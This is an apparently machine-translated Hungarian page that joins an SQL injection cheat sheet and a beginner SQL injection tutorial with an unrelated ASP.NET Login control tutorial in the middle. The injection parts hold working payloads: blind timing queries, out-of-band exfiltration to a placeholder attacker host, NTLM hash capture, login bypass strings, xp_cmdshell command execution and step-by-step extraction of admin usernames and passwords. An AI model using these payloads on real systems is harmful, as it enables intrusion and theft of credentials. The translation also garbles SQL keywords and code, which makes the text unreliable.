(SELECT CASE WHEN (NVL (ASCII (SUBSTR (((INJECTION)), 1,1)), 0) = 100) THEN dbms_pipe.receive_message (("xyz"), 10) ELSE dbms_pipe.receive_message (("xyz") ), 1) VÉGE A kettőstől)
(INJEKCIÓ) az Ön kérése.
Ha a feltétel igaz, a válasz 10 másodpercig tart. Ellenkező esetben a válasz 1 másodpercig tart.

33. Hasznos MySQL-függvények
Szintaxis:
MD5 ()
SHA1 ()
JELSZÓ ()
KÓDOLÁS ()
TOMPRESS ()
ROW_COUNT ()
séma ()
VERZIÓ ()

34. Másodrendű SQL-injekciók
Általában egy SQL-befecskendezési lekérdezést szúr be egy mezőbe, és arra számít, hogy nem lesz szűrve.
Példa:
Név: "+ (SELECT TOP 1 jelszó FROM FROM) +"
Email: [e-mail védett]
Ha az alkalmazás egy tárolt eljárás vagy függvény mezőnevét használja, akkor ezt használhatja injekcióhoz.

35. SQL Server használata NTLM hashek lekérésére
Ez a támadás segít a célkiszolgáló Windows-felhasználói jelszavának SQL Serveren keresztüli beszerzésében, ha nincs külső hozzáférés. Kényszeríthetjük az SQL Servert, hogy csatlakozzon a Windowshoz egy UNC-útvonal használatával, és lekérhetjük az NTLM-munkamenetet olyan speciális eszközökkel, mint a Cain & Abel.

Szintaxis:
UNC elérési út: "\\ YOURIPADDRESS \ C $ \ x.txt"
36. Egyéb példák injekciókra
SQL szerver:
? sebezhetőParam = 1; SELECT * FROM OPENROWSET ("SQLOLEDB", ((INJECTION)) + ". Yourhost.com"; "sa"; "pwd", "SELECT 1")

? sebezhetőParam = 1; DECLARE @q varchar (1024); SET @q = "\\" + ((INJEKCIÓ)) + ". Yourhost.com \\ teszt.txt"; EXEC master..xp_dirtree @q
létrehoz egy DNS-kérést a (INJECTION) .yourhost.com címre

(INJEKCIÓ) az Ön kérése.
MySQL:
? vulnerableParam = -99 VAGY (SELECT LOAD_FILE (concat ("\\\\", ((INJECTION)), "yourhost.com \\")))
Létrehoz egy NBNS-/DNS-kérelmet a yourhost.com-nak
? vulnerableParam = -99 VAGY (KIVÁLASZTÁS ((INJEKCIÓ)) OUTFILE "\\\\ yourhost.com \\ share \\ output.txt")
Adatokat ír a fájlba
(INJEKCIÓ) az Ön kérése.
Jóslat:
? vulnerableParam = (SELECT UTL_HTTP.REQUEST ("http: // host / sniff.php? sniff =" || ((INJEKCIÓ) || "") DUAL-BÓL)
A szippantó elmenti az eredményeket
? vulnerableParam = (SELECT UTL_HTTP.REQUEST ("http: // host /" || ((INJECTION)) || ".html") DUAL-BÓL)
Az eredmények HTTP-naplókban lesznek elmentve
? vulnerableParam = (SELECT UTL_INADDR.get_host_addr (((INJECTION)) || ".yourhost.com") DUAL-BÓL)

? vulnerableParam = (SELECT SYS.DBMS_LDAP.INIT (((INJECTION)) || '.yourhost.com', 80) DUAL)
Elemeznie kell a yourhost.com DNS-kérelmek forgalmát
(INJEKCIÓ) az Ön kérése.

Ez az anyag az SQL Injection Cheat Sheet reszponzív fordítása.

Bejelentkezési vezérlés

A Bejelentkezés vezérlővel egyszerűen létrehozhat egy bejelentkezési oldalt az űrlapok hitelesítéséhez a tagsági API-val együtt. Használatra kész felhasználói felületet biztosít, amely bekéri a felhasználónevet és a jelszót, valamint a felhasználó bejelentkezéséhez szükséges gombot. A színfalak mögött olyan funkciókat foglal magában, amelyeket egy korábbi cikkben leírtunk: a felhasználói identitások érvényesítését a Membership API-n keresztül, valamint az alapvető űrlapon alapuló hitelesítési funkciókat, például az eredetileg kért oldalra való átirányítást egy biztonságos alkalmazási területen sikeres bejelentkezés után.

Ez azt jelenti, hogy a Bejelentkezés olyan dolgokat tartalmaz, mint a Membership.ValidateUser () vagy a FormsAuthentication.RedirectFromLoginPage (), így nem kell magának megírnia ezt a kódot. Az alábbi ábra a bejelentkezési vezérlőt mutatja működés közben:

Amikor a felhasználó a Bejelentkezés gombra kattint, a vezérlő automatikusan érvényesíti a felhasználónevet és a jelszót a Membership.ValidateUser () függvény segítségével, majd meghívja a FormsAuthenication.RedirectFromLoginPage () oldalt, ha az ellenőrzés sikeres. A Bejelentkezés vezérlő összes beállítása befolyásolja a bemenetet, amelyet ezekhez a metódusokhoz szállít. Ha például bejelöli az Emlékezz rám legközelebb jelölőnégyzetet, akkor a RedirectFromLoginPage () metódus createPersistentCookie paraméterében igaz lesz. Ezért a FormsAuthenticationModule állandó cookie-t hoz létre.

A Behind the Scenes Login egy ASP.NET összetett vezérlőelem található. Teljesen bővíthető - abban az értelemben, hogy lehetővé teszi az elrendezési stílusok és tulajdonságok felülbírálását, valamint a generált események elfogását, hogy felülbírálja az alapértelmezett viselkedést. Ha változatlanul hagyja a vezérlőt, és nem fog semmilyen eseményt, akkor automatikusan az alkalmazáshoz konfigurált tagsági szolgáltatót fogja használni.

A bejelentkezési vezérlő legegyszerűbb formája egy oldalon így néz ki:

Számos tulajdonság áll rendelkezésre a bejelentkezési vezérlő megjelenésének megváltoztatásához. Különféle stílusbeállításokat alkalmazhat az alábbiak szerint:

Ezenkívül CSS-osztályokat is használhat a Bejelentkezés megjelenésének testreszabásához. A Bejelentkezés vezérlő által támogatott minden stílustulajdonság tartalmaz egy CssClass tulajdonságot. Mint minden ASP.NET-vezérlő esetében, ez a tulajdonság lehetővé teszi a webhelyhez korábban hozzáadott CSS-osztály nevének megadását. Tegyük fel, hogy hozzáadta a következő CSS-stíluslapot a projektjéhez MyStyles.css fájlnévvel:

MyLoginTextBoxStyle (kurzor: mutató; háttérszín: sárga; szövegigazítás: középen; kitöltés: 6 képpont; szegély: pontozott fekete; betűcsalád: Verdana; függőleges igazítás: középen;) .Bejelentkezés (megjelenítés: inline-block;) .Title (kitöltés: 6px;)

Ez a stílusfájl szerepelhet a bejelentkezési oldalon, hogy a Bejelentkezés elem stílusát módosíthassa:

A következő táblázat felsorolja a bejelentkezési vezérlő által támogatott stílusokat. Mindegyik stílus ugyanúgy működik. A betűtípus- és színtulajdonságok közvetlenül beállíthatók, vagy a CssClass tulajdonság segítségével megadhatja a kívánt CSS-osztályt:

A bejelentkezési vezérlő által támogatott stílusok
Stílus Leírás
CheckBoxStyle

Meghatározza az Emlékezzen rám legközelebb jelölőnégyzet stílustulajdonságait

FailureStyle

Meghatározza a sikertelen bejelentkezés esetén megjelenő szöveg stílusát

HyperLinkStyle

A Bejelentkezés vezérlővel többféle hiperhivatkozás definiálható, például a kezdeti regisztrációs oldalra. Ez a stílus határozza meg az ilyen hiperhivatkozások megjelenését.

InstructionTextStyle

A Bejelentkezés vezérlő lehetővé teszi, hogy megadja a súgószöveget, amelyet közvetlenül magában kell megjeleníteni. Ez a stílus határozza meg a szöveg megjelenését.

LabelStyle

Meghatározza a Felhasználónév és Jelszó címkék stílusát

LoginButtonStyle

Meghatározza a bejelentkezési gomb stílusát

TextBoxStyle

Megadja a Felhasználónév és Jelszó szövegmezők stílusát

TitleTextStyle

Meghatározza a bejelentkezési vezérlő címszövegének stílusát

ValidatorTextStyle

Stílusokat határoz meg a felhasználónév és jelszó ellenőrzésére használt vezérlőelemekhez

A Login elem felhasználói felülete nem csak ezeken a stílusokon keresztül testreszabható; egyéb további tulajdonságok a vezérlő tartalmának bizonyos részeit célozzák meg, mint például a Bejelentkezés gomb, amelyek szintén lehetővé teszik a grafikus felület testreszabását.

Például kiválaszthatja a bejelentkezési gombon megjelenő szöveget, vagy akár egy hiperhivatkozást is megjeleníthet e gomb helyett (alapértelmezés szerint). Ezenkívül több hiperhivatkozást is hozzáadhat a Bejelentkezés vezérlőhöz, például egy hivatkozást egy súgóoldalra vagy egy regisztrációs oldalra. Mindkét oldalnak nyitva kell lennie a névtelen hozzáférés számára, mert segítséget kell nyújtani az anonim felhasználóknak is (ne feledje, hogy ha valaki látja a Bejelentkezés vezérlőt, az potenciálisan névtelen felhasználó). Ha további hivatkozásokat szeretne beépíteni a Bejelentkezésbe, módosítsa a korábban bemutatott definíciót az alábbiak szerint:

...

Ez a kód két további hivatkozást jelenít meg, egyet a súgóoldalra, egyet pedig a kezdeti regisztrációs oldalra, és egy rövid utasításszöveget ad hozzá a Bejelentkezés elem fejlécéhez:

A korábban leírt stílusok ezekre a tulajdonságokra is érvényesek. Az alábbi táblázat leírja a bejelentkezési vezérlő testreszabásának fontos tulajdonságait:

Fontos tulajdonságok a bejelentkezési vezérlő testreszabásához
Ingatlan Leírás
Üzenet szövege
TitleText

A vezérlőelem címében megjelenő szöveg

InstructionText

Ezt a tulajdonságot már használták az előző kódrészletben. A vezérlőelem címe alatt megjelenő szöveget tartalmazza

FailureText

A bejelentkezési vezérlő által megjelenített szöveg, ha a bejelentkezési kísérlet sikertelen

UserNameLabelText

A szöveg címkeként jelenik meg a felhasználónév szövegmezője előtt

PasswordLabelText

Címkeként megjelenő szöveg a felhasználó jelszava szövegmezője előtt

Felhasználónév

A kezdeti érték, amely kitölti a felhasználónév szövegmezőt

UsernameRequiredErrorMessage

Hibaüzenet jelenik meg, ha a felhasználó nem adott meg nevet

PasswordRequiredErrorMessage

Hibaüzenet jelenik meg, ha a felhasználó nem adott meg jelszót

Bejelentkezés gomb
LoginButtonText

A bejelentkezés gombon megjelenő szöveg

LoginButtonType
LoginButtonImageUrl

Ha a bejelentkezési gomb grafikus képként jelenik meg, meg kell adnia azt az URL-t, ahol ez a kép található

Bejelentkezési oldal
DestinationPageUrl

Ha a bejelentkezési kísérlet sikeres, a Bejelentkezés vezérlő erre az oldalra irányítja át a felhasználót. Ez a tulajdonság alapértelmezés szerint üres. Az Empty a Forms Authentication Framework segítségével irányítja át az eredeti kért oldalt vagy a web.config Forms Authentication fájlban konfigurált alapértelmezett URL-t.

FailureAction

Meghatározza azt a műveletet, amelyet a vezérlő végrehajt egy sikertelen bejelentkezési kísérlet után. Két érvényes lehetőség a Refresh és RedirectToLoginPage. Az első érték csak az aktuális oldalt frissíti, míg a második a beállított bejelentkezési oldalra irányít át. A második lehetőség akkor hasznos, ha a Bejelentkezés vezérlőt máshol használja, mint a bejelentkezési oldalon

VisibleWhen LoggedIn

Ha hamisra van állítva, akkor a vezérlő automatikusan elrejti magát, ha a felhasználó már be van jelentkezve. Ha igaz (alapértelmezett), akkor a Bejelentkezés elem akkor is megjelenik, ha a felhasználó be van jelentkezve

Emlékezz rám címke konfigurálása
DisplayRememberMe

Megjeleníti vagy elrejti az Emlékezzen rám legközelebb jelölőnégyzetet. Alapértelmezés szerint ez a tulajdonság igaz értékre van állítva

RememberMeSet

Megadja az Emlékezzen rám legközelebb jelölőnégyzet alapértelmezett értékét. Alapértelmezés szerint ez a tulajdonság false értékre van állítva, azaz. a jelölőnégyzet nincs bejelölve

Regisztrációs oldal
CreateUserUrl

Hiperhivatkozást határoz meg egy webhely egy oldalára, amely lehetővé teszi felhasználó létrehozását (regisztrálását). Így általában arra használják, hogy a felhasználó hozzáférést biztosítson a kezdeti regisztrációs oldalhoz. Ez általában a CreateUserWizard vezérlőt jeleníti meg.

CreateUserText
CreateUserIconUrl

A CreateUserUrl hiperhivatkozás szövegével együtt megjelenített grafikus kép URL-je

Súgó oldal
HelpPageUrl

URL, amely a felhasználót a súgóoldalra irányítja

HelpPageText
HelpPageIconUrl

A HelpPageUrl hiperhivatkozás szövegével együtt megjelenő ikon URL-je

Jelszó-helyreállítási oldal
PasswordRecoveryUrl

URL, amely a felhasználót a jelszó-helyreállítási oldalra irányítja át. Ez az oldal akkor érvényes, ha a felhasználó elfelejtette jelszavát. Általában egy PasswordRecovery vezérlőt jelenít meg

PasswordRecoveryText
PasswordRecoveryIconUrl

A PasswordRecoveryUrl hiperhivatkozás szövegével együtt megjelenő ikon URL-je

Bejelentkezési sablonok és vezérlés

Amint láthatja, ezek a tulajdonságok nagyon rugalmassá teszik a bejelentkezési vezérlőt. De ahogy valószínűleg észrevette, lehetetlen bármilyen kifejezést meghatározni a bemenet érvényesítésére. Természetesen lehetőség van szerveroldali érvényesítés megvalósítására a Bejelentkezés vezérlő által kínált eseményeljárásokon belül. Ha hozzá kell adni néhány elemet a Bejelentkezés összetett vezérlőhöz, ez nem tehető meg a fent bemutatott tulajdonságokon keresztül. Például mi van akkor, ha szüksége van egy második szövegdobozra az erős hitelesítéshez második jelszóval vagy egyéni jelszóval, ahogy azt egyes kormányzati webhelyek teszik?

Szerencsére a többi vezérlőhöz, például a GridView-hoz hasonlóan a Bejelentkezés vezérlő is támogatja a sablonokat. A sablonok segítségével korlátozás nélkül testreszabhatja a Bejelentkezés vezérlő tartalmát. Bármilyen új vezérlőelem hozzáadható hozzá. Egyéni sablont alkalmaz a bejelentkezési vezérlőhöz egy fogantyú segítségével Layout Template:

Bejelentkezés

Felhasználónév:
Jelszó:


A fenti kódot nézve egy kérdés merül fel: ha egy sablon beállításakor ennyi felhasználói felület kódot kell írni (vagy vizuális tervezőben kell megtervezni), miért ne írhatna saját bejelentkezési oldalt a Bejelentkezés vezérlő használata nélkül?

Ez a helyes kérdés. Azonban, amint azt korábban kifejtettük, a frontend csak egy része a Login elemnek. Például abban az esetben, ha a felhasználó rákattint a bejelentkezés gombra, a Bejelentkezés vezérlő már rendelkezik minden szükséges kóddal ahhoz, hogy automatikusan érvényesítse a felhasználót a tagsági tárolóval szemben, és átirányítja az eredetileg kért oldalra az űrlapok hitelesítési keretrendszerén keresztül. Így biztosan meg van mentve attól, hogy meg kelljen írnia ezt a kódot.

A megfelelő vezérlőkkel és a megfelelő azonosító értékekkel ezekhez a vezérlőkhöz nem kell eseménykezelő kódot írnia. A kód a szokásos módon működik, kivéve, hogy meghatározza a vezérlőket és azok elrendezését. Valójában a Bejelentkezés vezérlőhöz legalább két szövegmezőre van szükség, a Felhasználónévre és a Jelszóra. Ha ez a két szövegmező hiányzik (vagy eltérő azonosítóértékekkel rendelkezik), akkor a Login kivételt dob. Az összes többi vezérlő nem kötelező, de ha megad egy megfelelő azonosító értéket (például a Bejelentkezés a bejelentkezéshez gomb), akkor a Bejelentkezés automatikusan kezeli az eseményeket, és úgy viselkedik, mintha az alapértelmezett elrendezést alkalmaznák.

Az alábbi táblázat felsorolja az azonosítók speciális értékeit, a hozzájuk szükséges elemtípusokat és a kötelező jelzőt:

A bejelentkezési azonosítóval rendelkező vezérlő bármi lehet, amely támogatja a buborékok terjedését és a CommandName tulajdonságot. Fontos ennek az elemnek a CommandName tulajdonságát Login értékre állítani, mivel ellenkező esetben a bejelentkezési vezérlő nem ismeri fel az eseménykezelés során. Ha nem ad hozzá olyan vezérlőt, amelynek CommandName tulajdonsága bejelentkezésre van állítva, akkor magának kell kezelnie az eseményeket, és meg kell írnia a megfelelő kódot a felhasználónév és jelszó érvényesítéséhez, valamint az eredetileg kért oldalra való átirányításhoz.

Olyan vezérlőket is hozzáadhat más azonosítókkal, amelyeknek semmi közük a Bejelentkezéshez. A fenti kód a RequiredFieldValidator és RegularExpressionValidator elemeket használta a felhasználónév és jelszó mezők érvényesítéséhez.

A LayoutTemplate használatakor a vezérlő számos natív tulajdonsága már nem érhető el. Sablon alkalmazásakor csak a következő tulajdonságok maradnak elérhetők:

    DestinationPageUrl

    VisibleWhen LoggedIn

  • Tagságszolgáltató

Az összes stílustulajdonság és néhány tulajdonság az elemek szövegtartalmának alapértelmezés szerinti testreszabásához már nem érhető el a Visual Studio tulajdonságszerkesztőben, mert manuálisan hozzáadhatók külön vezérlőelemekként vagy statikus szövegként a Bejelentkezési elemsablonhoz. Ha sablon módban hozzáadja őket a Login elemhez, akkor egyszerűen figyelmen kívül hagyja őket, mert a sablon felülírja a Login elem alapértelmezett felületét, amely kihasználja ezeket a tulajdonságokat.

Bejelentkezés vezérlő programozás

A Bejelentkezés vezérlő számos eseményt és tulajdonságot támogat, amelyek segítségével testreszabhatja a viselkedését. Teljes ellenőrzést biztosítanak a bejelentkezési vezérlő finomhangolása felett (egyéb testreszabási eszközökkel, például sablonokkal és stílustulajdonságokkal együtt). A Bejelentkezés vezérlő támogatja az alábbi táblázatban felsorolt ​​eseményeket:

Bejelentkezés ellenőrzési események
Esemény Leírás
Bejelentkezés

Közvetlenül a vezérlő általi felhasználói hitelesítés előtt kezdeményezett

Bejelentkezve

Azután aktiválódik, hogy a felhasználót a vezérlő hitelesítette

Bejelentkezési hiba

Akkor aktiválódik, amikor a felhasználó valamilyen okból (például helytelen jelszó vagy felhasználónév) nem jelentkezik be.

Hitelesítés

Felhasználó hitelesítéshez aktiválva. Ha Ön kezeli ezt az eseményt, magának kell hitelesítenie a felhasználót, és a bejelentkezési vezérlő teljes mértékben az Ön hitelesítési kódjára támaszkodik.

Az első három esemény kezelhető bizonyos műveletek végrehajtására a felhasználói hitelesítés előtt, a hitelesítés után, valamint a hitelesítés során fellépő hiba esetén. Például a LoginError esemény felhasználható arra, hogy bizonyos számú bejelentkezési kísérlet után automatikusan átirányítsa a felhasználót a jelszó-helyreállítási oldalra, az alábbiak szerint:

Protected void Page_Load (objektum küldője, EventArgs e) (if (! This.IsPostBack) ViewState ["LoginErrors"] = 0;) protected void Login1_LoginError (objektum küldője, EventArgs e) (// Ha a LoginErrors állapot nem létezik, hozzon létre it if (ViewState ["LoginErrors"] == null) ViewState ["LoginErrors"] = 0; // A sikertelen bejelentkezési kísérletek számlálójának növelése int ErrorCount = (int) ViewState ["LoginErrors"] + 1; ViewState ["LoginErrors" "] = ErrorCount ; // Ellenőrizze a sikertelen próbálkozások számát, ha ((ErrorCount> 3) && (Login1.PasswordRecoveryUrl! = String.Empty)) Response.Redirect (Login1.PasswordRecoveryUrl);)

A Bejelentkezés vezérlő az alábbi ábrán látható sorrendben generálja az eseményeket:

Ahogy korábban említettük, ha elkapja az Authenticate eseményt, meg kell adnia saját felhasználónevét és jelszavát ellenőrző kódot. Ingatlan Hitelesítés karbantartja az AuthenticateEventArgs paraméterlista egy példányát. Ez az esemény argumentum osztály egy Authenticated nevű tulajdonságot támogat. Ha igazra van állítva, a bejelentkezési vezérlő feltételezi, hogy a hitelesítés sikeres volt, és felveti a LoggedIn eseményt. Ha ezt a tulajdonságot false értékre állítja, megjelenik a FailureText, és megjelenik a LoginError esemény:

Protected void Login1_Authenticate (objektum küldője, AuthenticateEventArgs e) (if (Membership.ValidateUser (Login1.UserName, Login1.Password)) (e.Authenticated = true;) else (e.Authenticated = false;))

Amint látja, közvetlen hozzáférés van a beírt értékekhez a Felhasználónév és Jelszó tulajdonságokon keresztül, amelyek a megfelelő szövegmezőkbe beírt szöveget tartalmazzák. Ha sablonos vezérlőket használ, és értéket szeretne kérni egy másik vezérlőtől, a felhasználónév és jelszó mellett a FindControl () metódussal is megszerezheti ezt a kiegészítő vezérlőt. Ez a metódus felveszi a kívánt elem azonosítóját, és visszaadja a System.Web.UI.Control példányát. Az eredményül kapott objektumot ezután egyszerűen a kívánt vezérlő típusára öntjük, és a rendszer beolvassa az egyéni hitelesítési módszer által a felhasználó számára megkövetelt értéket.

Ez a cikk nem tartalmaz új igazságokat, az SQL injekciót széles körben leírják és széles körben használják. Ez a cikk inkább kezdőknek szól, de talán a profik is találnak egy-két új trükköt.

Ennek a cikknek az a célja, hogy segítsen a kezdőknek megbirkózni az SQL Injection technika használata során felmerülő problémákkal, sikeresen használni és védekezni az ilyen támadások ellen.

Bevezetés

Amikor az érdekelt szerveren csak a 80-as port van nyitva, és a sebezhetőség-ellenőrző nem tud semmi érdekeset jelenteni, és tudod, hogy a rendszergazda mindig nagyon gyorsan telepíti az összes javítást a webszerverre, akkor az utolsó esélyünk egy webfeltörés. Az SQL injekció a webes hackelés egyik fajtája, amely csak a 80-as portot használja, és még időben telepített javítások esetén is működik. Ez a támadás inkább a webalkalmazásokra (például ASP, JSP, PHP, CGI stb.) irányul, mint közvetlenül a webszerverre vagy az operációs rendszer szolgáltatásaira.

Ez a cikk nem tartalmaz új igazságokat, az SQL injekciót széles körben leírják és széles körben használják. Ez a cikk inkább kezdőknek szól, de talán a profik is találnak egy-két új trükköt. Azt is javaslom, hogy tekintse meg a cikk végén található hivatkozásokat, ahol részletesebb információkat kaphat a terület szakértőitől.

1.1 Mi az SQL Injection?

Az SQL-injekció egy olyan módszer, amelyet befecskendezésre terveztek SQL lekérdezés s / parancsokat weboldalakon keresztül. Sok weboldal a webfelhasználóknak bemutatott paramétereket használ, és SQL-ben kérdezi le az adatbázist. Vegyük például a felhasználói bejelentkezés esetét, amikor van egy weboldal névvel és jelszóval, és egy SQL lekérdezés történik az adatbázisban, hogy ellenőrizze, van-e ilyen névvel és jelszóval regisztrált felhasználó. Az SQL Injection használatával lehetőség van egy fiktív felhasználónév és/vagy jelszó mező küldésére, amely módosítja az SQL lekérdezést, ami érdekességgel szolgálhat számunkra.

2.0 Mit kell keresnünk

Próbáljon meg olyan oldalakat keresni, amelyek adatokat kérnek Öntől, például keresőoldalt, vitaoldalt stb. Néha a html oldalak a POST módszert használják arra, hogy parancsokat küldjenek egy másik weboldalra. Ebben az esetben a paraméterek nem jelennek meg az URL-ben. Ebben az esetben azonban megkeresheti a "FORM" címkét a HTML-oldalak forráskódjában. Valami ilyesmit találsz:



Minden paraméter között

és
potenciálisan sebezhető lehet az SQL injekcióval szemben.

2.1 Mi a teendő, ha nem talál bevitelt használó oldalt?

Keressen olyan oldalakat, mint az ASP, JSP, CGI vagy PHP weboldalak. Próbáljon meg olyan oldalakat keresni, amelyek olyan paramétereket használnak, mint:

3.0. Hogyan ellenőrizhetem, hogy amit találtam, az sebezhető?

Próbáljon meg egyetlen idézettel kezdeni. Írja be a következő sort:

szia "vagy 1 = 1--

a felhasználónév vagy jelszó mezőben, vagy akár az URL paraméterben. Példa:

Bejelentkezés: szia "vagy 1 = 1--
Pass: szia "vagy 1 = 1--
http://duck/index.asp? id = szia "vagy 1 = 1--

Ha ezt egy rejtett mezővel tette, csak töltse le az eredeti HTML-kódot, mentse el a merevlemezére, módosítsa az URL-t és a rejtett mezőt ennek megfelelően. Példa:



Ha szerencséd van, felhasználónév és jelszó nélkül jelentkezünk be.

3.1 De miért "vagy 1 = 1--?"

Nézzünk egy másik példát, amely elmagyarázza az "or 1 = 1--" konstrukció hasznosságát. A regisztráció megkerülése mellett olyan további információkat is megnézhet, amelyek általában nem állnak rendelkezésre. Tekintsünk egy ASP oldalt, amely egy másik oldalra hivatkozik a következőkkel URL:

http://duck/index.asp?kategória = élelmiszer

Az URL-ben a "category" a változó neve, a "food" pedig a változóhoz rendelt érték. Ehhez az asp oldal a következő kódot tartalmazhatja:

v_cat = kérés ("kategória")
sqlstr = "SELECT * FROM product WHERE PCategory =" "& v_cat &" ""
set rs = conn.execute (sqlstr)

amint láthatja, a változónk össze lesz vonva a v_cat-tel, így az SQL lekérdezés a következő lesz:

SELECT * FROM termékből WHERE PCkategory = "étel"

Ennek a lekérdezésnek egy vagy több sorból álló gyűjteményt kell visszaadnia, amely megfelel a WHERE záradéknak, ebben az esetben az "étel". Most változtassuk meg az URL-t a következőképpen:

http://duck/index.asp? category = élelmiszer "vagy 1 = 1--
SELECT * FROM product WHERE PCategory = "étel" vagy 1 = 1-- "

Ez a lekérdezés a terméktáblázat összes sorát visszaadja, függetlenül attól, hogy a Pkategória „élelmiszer”-e vagy sem. A dupla kötőjel "-" arra utasítja az MS SQL Servert, hogy figyelmen kívül hagyja az egyetlen idézőjel (") után következő lekérdezést. Néha a kettős kötőjelet éles" # " karakterrel helyettesítheti.

Ha azonban nem SQL-kiszolgálót használ, vagy nem tudja figyelmen kívül hagyni a lekérdezés többi részét, próbálkozzon:

"vagy" egy "=" a

Most az SQL lekérdezés a következő lesz:

SELECT * FROM product WHERE PC-kategória = "élelmiszer" vagy "a" = "a"

Ez a kérés ugyanazt az eredményt adja vissza.

Az aktuális SQL-lekérdezéstől függően előfordulhat, hogy meg kell próbálnia az alábbi lehetőségek közül néhányat:

"vagy 1 = 1--
"vagy 1 = 1--
vagy 1 = 1--
"vagy" egy "=" a
"vagy" egy "=" a
") vagy (" a "=" a

4.0 Hogyan hajthat végre parancsokat távolról SQL injekció segítségével?

Az SQL-parancsok megadásának képessége általában azt jelenti, hogy tetszés szerint végrehajthatunk SQL-lekérdezéseket. Az MS SQL Server alapértelmezett telepítése rendszerjogosultságokkal történik. Meghívhatunk beépített eljárásokat, mint például a master..xp_cmdshell tetszőleges parancsok távoli végrehajtásához:

"; exec master..xp_cmdshell" ping 10.10.1.2 "-

Próbáld meg használni dupla idézőjelek("), ha (") sikertelen.

A pontosvessző leállítja az aktuális SQL-lekérdezést, és lehetővé teszi új SQL-parancsok futtatását. A parancs sikeres végrehajtásának ellenőrzéséhez ellenőrizze az ICMP-csomagokat a 10.10.1.2-ben, és ellenőrizze, hogy tartalmaznak-e csomagokat a sebezhető kiszolgálóról:

http:// site /? id = 31610

Ha nem kapott ping kérést a szervertől, és hibaüzenetet kap, amely engedélyhibára utal, lehetséges, hogy a rendszergazdája korlátozta a hozzáférést Web felhasználó tárolt eljárásokhoz.

5.0 Hogyan kaphatom meg az SQL lekérdezésem eredményeit?

Az sp_makewebtask segítségével HTML-ben írhatja meg kérését:

"; EXEC master..sp_makewebtask" \\ 10.10.1.3 \ share \ output.html "," SELECT * FROM INFORMATION_SCHEMA.TABLES "

A megadott IP-címnek rendelkeznie kell egy „share” mappával, amely mindenki számára elérhető.

6.0 Hogyan lehet adatokat gyűjteni egy adatbázisból ODBC hibaüzenettel?

Az SQL szerver által generált hibaüzenetből származó információkat felhasználhatjuk bármilyen adat lekérésére. Vegyük például a következő oldalt:

http://duck/index.asp? id = 10

Most megpróbáljuk összefűzni a '10' egész számot egy másik karakterlánccal az adatbázisban:

http: //duck/index.asp? id = 10 UNION SELECT TOP 1 TABLE_NAME A INFORMATION_SCHEMA.TABLES-BÓL--

Az INFORMATION_SCHEMA.TABLES rendszertábla információkat tartalmaz a kiszolgálón lévő összes tábláról.

A TABLE_NAME mező nyilvánvalóan tartalmazza az adatbázisban lévő összes tábla nevét. Azért választották, mert tudjuk, hogy mindig létezik. A mi kérésünk:

A TOP 1 TABLE_NAME KIVÁLASZTÁSA AZ INFORMATION_SCHEMA.TABLES-BÓL--

Ez a lekérdezés az adatbázisban szereplő keresztnevet adja vissza. Amikor ezt a karakterlánc-értéket 10-es egész számra UNIONáljuk, az MS SQL Server megpróbálja az nvarchar karakterláncot egész számmá konvertálni. Ez hibát jelez, amely azt mondja, hogy nem tudja átalakítani az nvarchart int-re. A szerver a következő hibát dobja ki:


Szintaktikai hiba az nvarchar érték konvertálása során "(! LANG: table1" to a column of data type int. !}
/index.asp, 5. sor

A hibaüzenet olyan értékről tartalmaz információt, amely nem konvertálható egész számmá. Ebben az esetben az első tábla nevét kaptuk - "tábla1".

A következő táblanév megszerzéséhez a következő lekérdezést használhatjuk:

http: //duck/index.asp? id = 10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES, AHOL NINCS TABLE_NAME ("tábla1") -

A LIKE billentyűvel is kereshetünk adatokat:

http: //duck/index.asp? id = 10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES, AHOL A TABLE_NAME SZERINT "% 25login% 25" -

Microsoft OLE DB Provider for ODBC Drivers hiba "80040e07" Szintaktikai hiba az nvarchar érték konvertálása közben: "(! LANG: admin_login" to a column of data type int. !} /index.asp, 5. sor

A megfelelő "% 25login% 25" konstrukció le lesz cserélve az SQL-kiszolgálón a% login%-ra. Ebben az esetben az "admin_login" feltételnek megfelelő tábla nevét kapjuk meg.

6.1 Hogyan találhatom meg az összes oszlop nevét egy táblázatban?

Az INFORMATION_SCHEMA.COLUMNS tábla segítségével megjeleníthetjük a táblázat összes oszlopnevét:

http: //duck/index.asp?id = 10 UNION SELECT TOP 1 OSZLOP_NEVE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = "admin_login" -

Microsoft OLE DB Provider for ODBC Drivers hiba "80040e07"
Szintaktikai hiba az nvarchar érték konvertálása közben: "(! LANG: login_id" to a column of data type int. !}
/index.asp, 5. sor

Most, hogy ismerjük az első oszlop nevét, a NOT IN () segítségével megkaphatjuk a következő oszlop nevét:

http: //duck/index.asp?id = 10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = "admin_login" WHERE COLUMN_NAME NINCS ("login_id") -

Microsoft OLE DB Provider for ODBC Drivers hiba "80040e07"
Szintaktikai hiba az nvarchar érték konvertálása közben: "(! LANG: bejelentkezési_név" to a column of data type int. !}
/index.asp, 5. sor

Folytatva, megkapjuk a többi oszlopnevet, azaz. "jelszó", "részletek", amíg meg nem kapjuk a következő hibát.

http: //duck/index.asp? id = 10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = "admin_login" WHERE COLUMN_NAME NINCS ("login_id", "login_name", "password", részletek ") -

Microsoft OLE DB Provider for ODBC Drivers hiba "80040e14"
ORDER BY tételeknek meg kell jelenniük a kiválasztási listában, ha az utasítás UNION operátort tartalmaz.
/index.asp, 5. sor

6.2. Hogyan juthatunk hozzá a szükséges adatokhoz?

Most, hogy azonosítottunk néhány fontos táblát, ugyanezt a technikát használhatjuk az adatok lekérésére az adatbázisból.

Vegyük le az első bejelentkezési_nevet az "admin_login" táblából:

http://duck/index.asp?id = 10 UNION SELECT TOP 1 login_name FROM admin_login--

Microsoft OLE DB Provider for ODBC Drivers hiba "80040e07"
Szintaktikai hiba az nvarchar érték konvertálásakor "(! LANG: neo" to a column of data type int. !}
/index.asp, 5. sor

Most már tudjuk, hogy van egy "neo" bejelentkezési névvel rendelkező adminisztrátor. Végül megkaphatjuk a "neo" jelszót:

http: //duck/index.asp? id = 10 UNION SELECT TOP 1 jelszó FROM admin_login ahol login_name = "neo" -

Microsoft OLE DB Provider for ODBC Drivers hiba "80040e07"
